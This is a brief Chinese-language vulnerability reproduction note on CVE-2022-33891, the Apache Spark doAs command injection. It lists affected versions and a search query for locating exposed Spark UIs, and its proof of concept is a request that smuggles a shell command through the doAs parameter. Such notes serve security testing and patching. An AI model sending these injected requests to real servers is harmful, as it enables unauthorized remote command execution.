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34 lines
584 B
Markdown
34 lines
584 B
Markdown
# Apache Spark doAs 远程命令执行漏洞 CVE-2022-33891
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## 漏洞描述
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Apache Spark 支持启动 ACL 来为 Web UI 访问提供身份验证，当 ACL 启动时可以通过构造特殊请求用户名导致 RCE
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## 漏洞影响
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```
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Spark Core - Apache <=3.0.3
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3.1.1 <= Spark Core - Apache <=3.1.2
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3.2.0 <= Spark Core - Apache <=3.2.1
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```
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## 网络测绘
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```
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app="APACHE-Spark"
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```
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## 漏洞复现
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主页面
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验证 POC
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```
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/jobs/?doAs=`touch /tmp/test.txt`
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```
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